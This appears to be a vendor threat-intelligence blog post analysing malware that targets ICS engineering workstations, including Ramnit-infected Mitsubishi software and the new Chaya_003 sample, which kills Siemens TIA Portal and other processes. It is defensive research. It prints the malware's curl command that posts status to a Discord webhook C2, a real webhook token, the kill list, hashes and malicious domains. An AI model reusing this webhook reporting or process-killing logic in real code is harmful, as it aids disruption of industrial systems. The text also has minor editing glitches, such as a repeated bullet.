ICS Threat Analysis: New, Experimental Malware Can Kill Engineering Processes

Summary

• Our analysis of a public malware repository shows a constant drumbeat of OT/ICS malware
• Since +20% of all OT/ICS attacks target engineering workstations, we focused on it
• We saw 2 incidents with Mitsubishi engineering workstations infected with Ramnit worm
• We analyzed 3 samples of new malware that kills Siemens engineering processes —we’ve named it Chaya_003

Guidance

• Harden engineering workstations
• Segment the network
• Monitor for threats
• Full analysis and recommendations for mitigation are below

OT-specific malware – such as FrostyGoop/BUSTLEBERM – is still much less common than malware targeting enterprise software or mobile operating systems by volume. But there’s little room to sleep easily if you’re a security operator in OT or manage industrial control system security.

Malware in OT/ICS is more common than you think — and engineering workstations connected to the internet are targets.

We recently analyzed automated botnet families, such as Aisuru, Kaiten and Gafgyt, that could be found on the VirusTotal public malware repository around the same time as FrostyGoop/BUSTLEBERM. What we found included either default credentials of OT devices for initial infection or instructions to wipe sensitive data directories.

Those botnets usually infiltrate networks via internet-accessible devices. According to the SANS Institute’s latest “State of ICS/OT Cybersecurity”, connected devices are among the most common initial attack vectors involved in real-world OT/control systems incidents.

That same SANS survey identified engineering workstation compromise as the fourth most common initial attack vector, accounting for over 20% of OT/control systems incidents. In response, we analyzed the types of malware targeting engineering workstations available on the VirusTotal repository during a 90-day period coinciding with the SANS survey publication. Our research revealed two notable activity clusters:

• Cluster 1: Legitimate Mitsubishi engineering workstation software executables were infected with the Ramnit worm in two separate incidents.
• Cluster 2: Three samples of a new experimental malware, which we named Chaya_003, were identified. This malware demonstrated the capability to terminate Siemens engineering processes.

 

The Hunt: Malware Targeting OT/ICS Engineering Software

Engineering workstations are positioned at levels 2 and 3 of the Purdue model, as shown in the standard OT architecture diagram below.

Figure 1: Source – ISA/IEC 62443-2-1:2024, Security for industrial automation and control systems – Part 2-1

These workstations are standard computers running traditional operating systems, such as Windows, alongside specialized engineering software provided by equipment manufacturers, such as Siemens TIA portal or Mitsubishi GX Works. This software is essential for commissioning and programming field devices such as programmable logic controller (PLCs) which operate in the lower levels of the Purdue Model.

To investigate potential threats, we focused on identifying two categories of artifacts uploaded to VirusTotal:

• Engineering software executables flagged as infected by general-purpose malware detection tools.
• Potentially malicious files designed to interact with engineering software.

To address both cases, we developed a YARA rule incorporating signatures of binary executables that reference proprietary OT artifacts, including executable names, API calls from DLLs and icon resources. The objective was to identify malicious executables that exhibited behaviors including:

• Embedding an engineering software name as a string
• Hooking or exporting functions typically found in engineering software DLLs
• Or impersonating legitimate engineering software by using authentic-looking icons

The YARA rule we developed included signatures for the following engineering software:

• Siemens TIA portal
• CODESYS v2
• Mitsubishi GX Works
• Rockwell Automation RSLogix500
• Phoenix Contact PC Worx

We applied this rule over a 90-day period, from August to November 2024 and obtained the following results:

• Rockwell Automation and CODESYS: No matches were detected.
• Phoenix Contact: 20 matches were identified, all of which were benign DLLs.
• Mitsubishi: 10 matches corresponded to legitimate files infected with the Ramnit worm.
• Siemens: 3 matches were confirmed as malicious executables, while 1 match was flagged as malicious but was ultimately identified as a false positive.

In the following section, we analyze the malicious samples in detail.

 

Ramnit: PE Infectors Strike Again

Our investigation uncovered two Ramnit clusters infecting engineering workstations:

• Cluster 1: This cluster contained a single executable of Mitsubishi GX Works with the SHA-256 hash:
  • 703f0aac78d388f1fbe3800697015d092fa70cea2c01f22f456c8b1aa20a2334

  This sample was submitted from Canada on July 7, 2024 with a creation time of April 16, 2014.

• Cluster 2: This cluster consisted of 9 DLLs associated with the same executable. All were submitted from the United States on October 18, 2024 and had a creation time of May 28, 2018:
  • 1b8957804dfa7324d10bf6d7ca22fc038951ab57ab1e6838da9c63ad057c1d20
  • 5b63ca75f95dc549729bb6261e9dc22f6425547584366188770507bd964221b4
  • 5ec05f903cc94d559b8eb23aa749805b78de2845bd2317017bc8e50cdceb613f
  • 69eb2b940ba1fc7bc46699eeb3ff11d921683609f636efae05c0cb796b588a38
  • 8b585155cdc7fcbe3d2fa169b307756557ef0d69afb392726f577a73f11d5a97
  • a1d721db0583eed0077bb8ab542ff15a806d24e2dbf13557b12842bd49995354
  • ad5922bcc740e5761a708c526d023450ca278168ebcefaaf80f85815d6d6d24e
  • c1826e0d310a6a02f2ee1b5d88b6c0dd48baa8fe1dd99447e98e42c4ca023c96
  • fd8558b8a4165ebb47f120fa237c2ada306c430ae4cb2109eb644fd8b0b82b15

The differences in submission locations, times, and versions – compiled for different languages – indicate that these were two separate infections.

Ramnit is a malware strain that first emerged in 2010 as a banking trojan designed to steal credentials from victims which were later to be sold on underground forums. Over time, Ramnit evolved into a modular platform capable of downloading plugins from a command and control (C2) server. These plugins enable advanced functionalities, such as remote desktop and screenshot capture.

By 2021, Ramnit had become the most active banking trojan. It incorporated source code copied from an earlier malware known as Zeus and eventually led to the development of another malware strain called Bumblebee in 2022.

Mandiant reported in 2021 that Ramnit infections on OT software were part of a growing trend, alongside other similar PE infectors – malware that appends malicious code to legitimate Windows executables. Examples include Sality, Virut, Expiro, DirtCleaner, Jeefo, Neshta, LockLoad, Parite and Floxif.

We cannot confirm whether the two Ramnit clusters we identified directly targeted OT systems – which is – or how the engineering workstations became infected. This type of malware can propagate through infected physical devices, such as USB drives, or via networks compromised by poorly segmented IT systems. However, our findings indicate that the trend identified in 2021 persists. At least one of the same infectors observed three years ago continued to affect OT networks worldwide.

The infected DLLs drop an executable, file packed with UPX, to C:\Program Files (x86)\Microsoft\DesktopLayer.exe. This file, with the SHA-256 hash fd6c69c345f1e32924f0a5bb7393e191b393a78d58e2c6413b03ced7482f2320, has been observed thousands of times under various filenames since 2010. It has been downloaded from hundreds of URLs, including the following recent examples:

• 432i[.]com on 2024-09-11
• az-security[.]info on 2024-10-08
• 0g0d[.]com on 2024-10-10
• grpaper[.]com on 2024-11-19

The unpacked executable employs dynamic loading of code on the heap and indirect Win32 API calls. However, its functionality is limited to spawning an instance of the default web browser. The image below summarizes this execution flow.

 

Chaya_003: Killing Engineering Processes

We identified the following three binaries designed to terminate Siemens TIA portal processes, along with other processes, running on an engineering workstation:

• test.exe
  b16a67f49ce5aa057236d2bff3e1ab2dcc2c6d3f2551e4520f54e125b2e289d8
  submitted from Belgium on October 3.
• Isass.exe
  517e35b32c4a1dedb155bbd208422cd5c5d34b5ec378712b7e8182fd26473c7e
  submitted from Belgium on October 4.
• elsass.exe
  9579c6987ac8969d0b0cc0cc2a9da3b034fac41525d96fa79fa02d05813e70f9
  submitted from Belgium on October 4.

The names “Isass.exe” and “elsass.exe” suggest deliberate masquerading as legitimate system processes, likely intended to deceive users or bypass antivirus solutions.

These binaries represent three iterations of a malware cluster we named Chaya_003, in line with our naming convention for activity clusters not yet linked to a known threat actor, such as the previously identified Chaya_002.

In summary, Chaya_003 employs a C2 infrastructure leveraging Discord webhooks, combined with system reconnaissance and process disruption. The samples exhibit clear evolutionary patterns, progressing from a simplified testing version (test.exe) to a feature-rich variant (elsass.exe), while sharing a common infrastructure and behavioral traits. This progression suggests ongoing operational refinement and potential preparation for broader deployment.

All samples implement functionality to enumerate system processes using the CreateToolhelp32Snapshot Win32 API call. They retrieve information about each process via Process32First and compare the executable file name in .szExeFile against a predefined list which includes the following entries:

• word.exe
• excel.exe
• code.exe
• powerpnt.exe
• teams.exe
• chrome.exe
• firefox.exe
• Siemens.Automation.Portal.exe
• PakcetTracer.exe

If a process matches an entry in this list, it is terminated. Regardless of whether the termination succeeds or fails, the samples report the status to a hardcoded Discord webhook.

The Discord C2 messages are sent via a spawned curl process using the following format:

cmd.exe /c curl -H "Content-Type: application/json" -X POST -d "{\"content\": \"<MESSAGE>"}" https://discord.com/api/webhooks/<SNOWFLAKE>/<TOKEN>

In this format <MESSAGE>, <SNOWFLAKE> and <TOKEN> vary between samples.

The first sample (test.exe) uses “iamawebhookfrfr” as the snowflake and “69696969” as the token. These values are invalid and were likely placeholders for testing, before creating a valid webhook.

The other two samples (lsass.exe and elsass.exe) use 1291410641793454080 as the snowflake and rw6ox6Joq5OGasBLMDNIJON4IV5b0UlUIh24FqtlPK0FCvOzYzVSBGFT3b8DJnteaUcZ as the token. This token was created on October 3, 2024, the same day the “test.exe” sample was submitted to VirusTotal.

Although the webhook is now deactivated, its associated channel ID was 1291408530049335410 and server ID was 1291408529357410377.

The observed messages fall into two primary categories:

1. Status Updates
   Messages prefixed with “[!]”, “[*]” or “[+]” typically provide status updates. Most are written in Dutch with occasional English messages.
   • “[!] PC is opgestart! Het proces Isass.exe loopt met succes. Alle processen in het oog houden...\”
   • “[*] Proces gevonden: %s”
   • “[*] Crashing process...”
   • “[+] Successfully killed process with PID %lu”
2. Attribution and Infrastructure
   Messages prefixed with “[ :) ]” appear to contain attribution or infrastructure related details and are written in Spanish.
   • “[ :) ] El mejor Technologia de la Catalunya”
   • “[ :) ] Technologica esponsoriza por h921 industries, x86assembly.xyz y Team WhoStoleMyComputer”
   • “[ :) ] Contribuciones par chatgpt, stackoverflow, y el mejor de todos, el internet.”

Based on these messages, we assess with medium confidence that the samples were created by groups identified as “h921 industries”, “x86assembly.xyz” and “Team WhoStoleMyComputer”, which appear to be based in Catalonia and leverage code inspired by StackOverflow and ChatGPT. While we found no mentions of these groups in previous threat intelligence reports, there is a historical precedent for hacktivist groups, such as Anonymous, supporting the Catalan independence movement through DDoS attacks.

The messages in Dutch and the submission of samples from Belgium suggest that some developers may be located in the Dutch-speaking Flanders region.

We also noted that one group name, x86assembly.xyz, corresponds to a valid domain name. A passive DNS search revealed that this domain has been pointing to the IP address 198.185.159[.]144 since at least September 26, 2024. This IP address has a history of distributing malware, including AsyncRAT.

Pivoting off of the same string (x86assembly.xyz), we identified another sample on VirusTotal (1f1035b91db1264eb94aa055cdb50f35f0c27744e77e74b7031e099b112a5837) labeled as malicious (Win32/Wacapew). This sample, submitted from the UK on October 11, 2024 appears unrelated to Chaya_003.

Recommended Mitigation Our primary takeaway from this investigation into OT malicious activity is that OT-specific malware remains far from the most common threat to OT networks. In the earlier post, we highlighted several botnets targeting exposed OT devices. In this post, we examined both known and new malware targeting engineering workstations.

The artifact clusters we identified may primarily act as nuisances in real OT environments. Yet, the fact that this type of malware can infiltrate critical networks is alarming.including a 14-year old sample observed thousands of times. Even more concerning is the ability of hacking groups to create malware targeting engineering processes with assistance from generative AI while using legitimate services for C2. This reliance on legitimate services makes detecting these threats more challenging. The gap between a relatively simple example like Chaya_003 and more sophisticated OT-specific malware is narrowing, especially as generative AI empowers less skilled attackers to craft OT-specific code.

Since engineering workstations are increasingly targeted, we recommend that organizations implement the following measures to enhance their OT security posture:

Harden Engineering Workstations

• Identify all workstations connected to your OT network
• Assess their software versions, open ports, credentials, and endpoint protection software
• Assess their software versions, open ports, credentials, and endpoint protection software
• Assess their software versions, open ports, credentials, and endpoint protection software
• Ensure all software is updated to the latest versions and make sure that endpoint protection solutions are enabled and up to date.

Segment the Network

• Avoid directly exposing engineering workstations to the internet
• Properly segment networks to isolate IT, IoT and OT devices
• Limit network connections to only authorized management and engineering workstations, or among unmanaged devices requiring communication.

Monitor for Threats

• Deploy monitoring solutions that can detect malicious indicators, such as known IT malware.
• Identify suspicious behaviors, such as the termination of sensitive processes, across both IT and OT systems.

 

Indicators of Compromise (IoCs)

The IoCs listed below are available on the Forescout Research – Vedere Labs threat feed.

For more insights, detailed reports and threat intelligence, visit Forescout’s research center.

Sign up for the Vedere Labs Threat Feed.

Share This: Share on LinkedinShare on TwitterShare on Facebook